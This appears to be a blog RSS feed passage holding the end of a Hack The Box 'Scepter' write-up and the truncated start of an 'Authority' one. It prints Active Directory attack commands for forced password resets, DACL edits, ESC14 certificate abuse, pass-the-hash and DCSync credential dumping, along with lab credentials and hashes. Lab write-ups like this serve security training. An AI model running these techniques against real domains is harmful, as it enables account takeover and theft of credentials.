111/tcp   open  rpcbind       syn-ack 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA/domainComponent=scepter
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA/domainComponent=scepter
2049/tcp  open  nlockmgr      syn-ack 1-4 (RPC #100021)
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA/domainComponent=scepter
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA/domainComponent=scepter
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp  open  ssl/http      syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2026-01-25T01:39:56+00:00; +6h30m54s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=dc01.scepter.htb
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| tls-alpn: 
|_  http/1.1
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49673/tcp open  msrpc         syn-ack Microsoft Windows RPC
49690/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49691/tcp open  msrpc         syn-ack Microsoft Windows RPC
49695/tcp open  msrpc         syn-ack Microsoft Windows RPC
49696/tcp open  msrpc         syn-ack Microsoft Windows RPC
49709/tcp open  msrpc         syn-ack Microsoft Windows RPC
49757/tcp open  msrpc         syn-ack Microsoft Windows RPC
49761/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Right away I noticed that an NFS port was open which is almost always low hanging fruit.&lt;/p&gt;
&lt;h2&gt;2049/TCP - NFS&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bdc728abd6d6e5bef83f6f1ffec71441.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/329da8d49cb66b9d7162a5895cc76688.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In order to view the contents I had to be &lt;em&gt;root&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f667e8d48dbebc4acf5b1ef42ce2d4e1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I copy them over to my &lt;code&gt;/home&lt;/code&gt; directory and convert the &lt;code&gt;pfx&lt;/code&gt; files to hashes. In turn I am able to crack them using &lt;code&gt;john&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/28be040093d763e52b3ec57dccf58ecc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried to export the &lt;code&gt;pfx&lt;/code&gt; file in order to get a TGT but failed miserably:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3042b5ad9ba47814c1ff02433d6423f3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However this did show me the naming convention of the domain -&amp;gt; &lt;em&gt;e.lewis&lt;/em&gt; which meant I could now attempt a &lt;code&gt;kerbrute&lt;/code&gt; user enumeration. For this I will be mutating a wordlist first:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sed &apos;s/^\(.\)/\1./&apos; /usr/share/seclists/Usernames/statistically-likely-usernames/jsmith.txt &amp;gt; j.smith.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ebcd423dcfe2f161e19284c77ddca638.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It did get us a couple of users. I tried spraying the password and it didn&apos;t seem to work for any of the found users, however one account did seem to be restricted:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/937fe01c97c6fdf6e21a11eaecca9b45.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;PFX certificate bundle&lt;/h2&gt;
&lt;p&gt;Since none of the above worked I returned to the &lt;code&gt;baker.crt&lt;/code&gt; and &lt;code&gt;baker.key&lt;/code&gt; files. Using the password phrase that we cracked, &lt;code&gt;newpassword&lt;/code&gt;, I was able to write the RSA key.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;openssl rsa -in baker.key -out decrypted.key
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bcafad62fddd6c56e28d4b677bd80f5a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then appended the certificate info into the &lt;code&gt;baker.pem&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b8ec4b7c57ce68df1d21bc574f457797.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up I ran the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;openssl pkcs12 -in baker.pem -keyex -CSP  &quot;Microsoft Enhanced Cryptographic Provider v1.0&quot; -export -out baker.pfx
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!important]
Leave the export password blank!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f6cf0b52f5f79ccf78ee26fb89d45283.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can auth as baker:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/468555a30a77bed990ce5c8856da3f4e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;d.baker
18b5fb0d99e7a475316213c15b6f22ce
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nxc&lt;/h2&gt;
&lt;p&gt;Now I was able to start fully enumerating the system:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/36e7c531df84d88c6913132a27940f29.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately there was nothing interesting on the shares:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f44a517d26517ffd2cbb729de3bcfe77.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;BloodHound&lt;/h2&gt;
&lt;p&gt;Time for some &lt;code&gt;bloodhound&lt;/code&gt; enumeration:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/083b4266545e7cff2139135e71474020.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;ForceChangePassword&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/93dc5e3d3fc12165576d67119edb9974.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is easily done with &lt;code&gt;bloodyAD&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host 10.129.244.44 -d scepter.htb -u &apos;d.baker&apos; -p &apos;:18b5fb0d99e7a475316213c15b6f22ce&apos; set password &apos;a.carter&apos; &apos;P@ssword123!&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ac15ecf035951e06a1578024246466f8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;GenericAll on OU&lt;/h3&gt;
&lt;p&gt;As per the &lt;a href=&quot;https://bloodhound.specterops.io/resources/edges/generic-all#with-genericall-over-an-ou&quot;&gt;bloodhound wiki&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b9dcac04909fbe468bb6c542b8ad8218.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This can be done as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-dacledit -action &apos;write&apos; -rights &apos;FullControl&apos; -inheritance -principal &apos;a.carter&apos; -target-dn &apos;OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB&apos; &apos;scepter.htb&apos;/&apos;a.carter&apos;:&apos;P@ssword123!&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c7d6eb23d9ca66509b55cf0085a3e92d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;ADCS - ESC14&lt;/h2&gt;
&lt;p&gt;Continuing on I check out the certificate templates using &lt;code&gt;certipy-ad&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad find -u d.baker -hashes :18b5fb0d99e7a475316213c15b6f22ce  -dc-ip 10.129.244.44 -stdout -vulnerable
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b948f7a75700c5d25a811018fd307376.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At the bottom I notice that the target is vulnerable to &lt;strong&gt;ESC9&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/99ef4e5d1a83546351ba5841f2e2deb7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I also noticed the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9d9097174bcacc7e558efde4918a16cb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is an interesting find but we need to enumerate further to make this work.&lt;/p&gt;
&lt;h3&gt;altSecurityIdentities&lt;/h3&gt;
&lt;p&gt;We can search for &lt;code&gt;altSecurityIdentities&lt;/code&gt; using the following &lt;code&gt;nxc&lt;/code&gt; command with &lt;code&gt;ldap&lt;/code&gt; query:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce --query &quot;(&amp;amp;(objectCategory=person)(objectClass=user)(altSecurityIdentities=*))&quot; &quot;&quot; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2de48ec35c6cca1bcf52c2d950d8d27a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I see that this outputs the &lt;em&gt;h.brown&lt;/em&gt; user who has it set. I can exploit this using &lt;code&gt;bloodyAD&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host 10.129.244.44 -d scepter.htb -u &apos;a.carter&apos; -p &apos;P@ssword123!&apos; add genericAll &apos;OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB&apos; a.carter

bloodyAD --host 10.129.244.44 -d scepter.htb -u &apos;a.carter&apos; -p &apos;P@ssword123!&apos; set object d.baker mail -v h.brown@scepter.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/691dfb1f317a2095467df57938010d0d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!note]
The LDAP query shows that &lt;strong&gt;h.brown&lt;/strong&gt; has &lt;code&gt;altSecurityIdentities&lt;/code&gt; set to an &lt;strong&gt;X.509 RFC822 mapping&lt;/strong&gt;, meaning any certificate containing the email &lt;code&gt;h.brown@scepter.htb&lt;/code&gt; can authenticate as that user without knowing their password.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Next up we can request the certificate:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -username &apos;d.baker@scepter.htb&apos; -hashes &apos;:18b5fb0d99e7a475316213c15b6f22ce&apos; -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip 10.129.244.44
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1bf90f6565ea6cb1969c0d0634d03f93.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can now auth as &lt;em&gt;h.brown&lt;/em&gt; through this cert:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad auth -pfx d.baker.pfx -dc-ip 10.129.244.44 -domain scepter.htb -username h.brown
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6f8b929c9f682f2b3f8c43c25feb4476.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There&apos;s just a small problem however...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bc8917273b601476c9372f7f9cfc1bf3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As mentioned earlier on in the writeup, this account is &lt;strong&gt;restricted&lt;/strong&gt; since it is inside the &lt;strong&gt;Protected Users&lt;/strong&gt; group.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4cab15ab78b246860c42977777e2c963.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as h.brown&lt;/h2&gt;
&lt;p&gt;No biggy though as we can easily login using the &lt;code&gt;ccache&lt;/code&gt; file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;KRB5CCNAME=h.brown.ccache evil-winrm -i dc01.scepter.htb -r scepter.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3d01a8f839cece5934e09df4e96e3b13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c31edcd91062d67de26ce77cc9159d08.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;ADCS - ESC14 (v2.0)&lt;/h2&gt;
&lt;p&gt;When checking the &lt;strong&gt;Shortest Paths to Admin&lt;/strong&gt; query on &lt;code&gt;bloodhound&lt;/code&gt; I noticed the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9cdc4e178d7051bc50c0444da6f7a899.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Turns out that the &lt;em&gt;p.adams&lt;/em&gt; user has quite interesting privs here, let&apos;s check out the &lt;strong&gt;Helpdesk Enrollment Certificate&lt;/strong&gt; template.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fa8c83e179c8d1f42fc890d006aac1aa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looks like only users in the &lt;strong&gt;Admin&lt;/strong&gt; groups can write to it, unless...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host dc01.scepter.htb -d scepter.htb -k get writable --detail
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bc51e7d21f55c2455950332f4e5def4c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Terribly convenient, let&apos;s exploit this.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/00bee592661dcddbb157fe36488fb29f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since &lt;em&gt;p.adams&lt;/em&gt; does not have an &lt;strong&gt;altSecurityIdentities&lt;/strong&gt; set we can use the one from &lt;em&gt;h.brown&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host dc01.scepter.htb -d scepter.htb -k set object &apos;p.adams&apos; altSecurityIdentities -v &apos;X509:&amp;lt;RFC822&amp;gt;h.brown@scepter.htb&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9d1c9d6654ec2012631288c8dea8cdd6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Accordingly we&apos;ll set &lt;em&gt;d.baker&lt;/em&gt;&apos;s mail again to match it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host 10.129.244.44 -d scepter.htb -u &apos;a.carter&apos; -p &apos;P@ssword123!&apos; set object d.baker mail -v h.brown@scepter.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6f1cae5b5fe213e35117a964b04583b5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we can request the certificate:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -username &apos;d.baker@scepter.htb&apos; -hashes &apos;:18b5fb0d99e7a475316213c15b6f22ce&apos; -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip 10.129.244.44
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4d2171d39d1816598b8b4d79e799ba7e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This certifcate can now be used to authenticate as &lt;em&gt;p.adams&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a0a56d8fa1d0b1a848fc8b2391f0e825.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;DCSync&lt;/h2&gt;
&lt;p&gt;Since we earlier found that we can &lt;code&gt;DCSync&lt;/code&gt; we can just go ahead and run &lt;code&gt;impacket-secretsdump&lt;/code&gt; in order to dump the &lt;code&gt;ntds.dit&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7d5128b79576e146a2f329b71b764184.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d78fbb384a8aa17f48d61e09039bfd91.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The same can be achieved through &lt;code&gt;nxc&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/09a5de5c2086ab509d69f6acb50c8494.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2cfa09564a78c3a466137ae0cfe09436.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b5afc75a4a444ecfd5c2dccd3f7b7d09.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Authority</title><link>https://maxk9999.vercel.app/posts/authority</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/authority</guid><pubDate>Sun, 25 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.129.229.56
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -Pn -T5 --min-rate=5000 -vvvv authority.htb

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-01-25 19:23:21Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-01-25T19:24:18+00:00; +4h00m02s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Issuer: commonName=htb-AUTHORITY-CA/domainComponent=htb
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-01-25T19:24:18+00:00; +4h00m02s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Issuer: commonName=htb-AUTHORITY-CA/domainComponent=htb
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-01-25T19:24:18+00:00; +4h00m02s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Issuer: commonName=htb-AUTHORITY-CA/domainComponent=htb
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Issuer: commonName=htb-AUTHORITY-CA/domainComponent=htb
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8443/tcp open  ssl/http syn-ack Apache Tomcat (language: en)
| ssl-cert: Subject: commonName=172.16.2.118
| Issuer: commonName=172.16.2.118
|_http-title: Site doesnt have a title (text/html;charset=ISO-8859-1).
|_http-favicon: Unknown favicon MD5: F588322AAF157D82BB030AF1EFFD8CF9
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| tls-alpn: 
|_  h2
|_ssl-date: TLS randomness does not represent time
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49673/tcp open  msrpc         syn-ack Microsoft Windows RPC
49694/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49695/tcp open  msrpc         syn-ack Microsoft Windows RPC
49697/tcp open  msrpc         syn-ack Microsoft Windows RPC
49698/tcp open  msrpc         syn-ack Microsoft Windows RPC
49706/tcp open  msrpc         syn-ack Microsoft Windows RPC
49714/tcp open  msrpc         syn-ack Microsoft Windows RPC
57175/tcp open  msrpc         syn-ack Microsoft Windows RPC
64088/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 5733/tcp): CLEAN (Couldn&apos;t connect)
|   Check 2 (port 63830/tcp): CLEAN (Couldn&apos;t connect)
|   Check 3 (port 45641/udp): CLEAN (Failed to receive data)
|   Check 4 (port 63196/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 4h00m01s, deviation: 0s, median: 4h00m01s
| smb2-time: 
|   date: 2026-01-25T19:24:09
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Enum4linux-ng&lt;/h2&gt;
&lt;p&gt;Using a random username I enumerated the system:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8a874d44fd1ab2260990eb630891c4cc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Further down I found that I was able to enumerate the shares:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4396ea0ff24972d2a98221fe5508886f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I am able to READ &lt;strong&gt;Development&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;445/TCP - SMB&lt;/h2&gt;
&lt;h3&gt;smbclientng&lt;/h3&gt;
&lt;p&gt;I was able to log in as a guest user.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0abec20dfd5095fa3da3346759dfd4ac.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside I found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b61fc40221ed52f5ccd80dfc9143973b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Scrolling down I found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9b44edbeeea6330d6ae66eece4abdc20.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dba6c759dfc8e21f344b18889708cec0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin 
T0mc@tAdm1n

robot
T0mc@tR00t
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Furthermore I found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5fc92484fef6e20c8092181ab7e2203c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;administrator
Welcome1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And lastly I found the &lt;strong&gt;pwm&lt;/strong&gt; admin password:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2a4546a08d80ece093207d242ea4098a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root
password
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;8443/TCP - HTTPS&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8ea06e90ae1e58c337a0d5e0f292a5b5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I land on the login page where I can enter the found creds.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a80f340c81bb4e5a9836fa4a621ba822.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However I get the following error:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9116f5bae39e447512ec1c47999e166b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;That means this password is HIGHLY LIKELY incorrect and we&apos;ll thus need to find another one.&lt;/p&gt;
&lt;h3&gt;ansible-vault&lt;/h3&gt;
&lt;p&gt;Heading back over to smb share I find the &lt;code&gt;ansible&lt;/code&gt; vault passwords:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ca306048c4b35a1cfa1fdd2c07e8e250.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In order to crack it we can use &lt;code&gt;ansible-vault&lt;/code&gt;:&lt;/p&gt;
